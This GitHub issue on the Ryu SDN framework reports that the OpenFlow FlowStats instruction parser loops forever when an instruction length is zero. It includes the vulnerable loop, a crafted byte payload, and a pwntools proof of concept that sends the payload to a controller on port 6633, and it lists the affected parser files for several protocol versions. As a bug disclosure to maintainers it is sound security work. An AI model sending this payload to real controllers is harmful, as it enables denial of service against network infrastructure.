faucetsdn / ryu

Ryu component-based software defined networking framework
https://ryu-sdn.org
Apache License 2.0
1.5k stars 1.16k forks source link

Suggestion for OFPFlowStats parser will cause an infinite loop #192

Open ErodedElk opened 5 months ago

ErodedElk commented 5 months ago

in /ryu/ofproto/ofproto_v1_3_parser.py about line=4083

class OFPFlowStats(StringifyMixin):
        while inst_length > 0:
            inst = OFPInstruction.parser(buf, offset)
            instructions.append(inst)
            offset += inst.len
            inst_length -= inst.len

If inst.length =0,the offset will no longer change and the parsing will fall into an infinite loop.

payload:

payload=b'\x04\x13\x010\x7f\xf9\xb1m\x00\x01\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06B,@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc:\xb8S\xf8\x80\x00\x06\x06\xce\x8f\xb2F\xcb[\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06\x05#@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00b\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2F\xcb[\x80\x00\x06\x06\xd2\xfc:\xb8S\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x058\x81U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04@\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00'

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload=b'\x04\x13\x010\x7f\xf9\xb1m\x00\x01\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06B,@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x02\x80\x00\x08\x06\xd2\xfc:\xb8S\xf8\x80\x00\x06\x06\xce\x8f\xb2F\xcb[\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x01\xff\xe5\x00\x00\x00\x00\x00\x00\x00h\x00\x00\x00\x00\x00\x03\x06\x05#@\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00b\x00\x01\x00 \x80\x00\x00\x04\x00\x00\x00\x01\x80\x00\x08\x06\xce\x8f\xb2F\xcb[\x80\x00\x06\x06\xd2\xfc:\xb8S\xf8\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x02\xff\xe5\x00\x00\x00\x00\x00\x00\x00P\x00\x00\x00\x00\x00\x058\x81U\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x04@\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00'
p.send(payload)
p.interactive()

This POC uses OFPFlowStatsReply as an example. The OFPFlowStatsReply message will be accompanied by an OFPFlowStats structure, in which the length of OFPInstruction is tampered with to 0.

ErodedElk commented 5 months ago

This problem also occurs with the following code: /ryu/ofproto/ofproto_v1_3_parser.py about line=4083 /ryu/ofproto/ofproto_v1_4_parser.py about line=3486 /ryu/ofproto/ofproto_v1_2_parser.py about line=2279 /ryu/ofproto/ofproto_v1_0_parser.py about line=956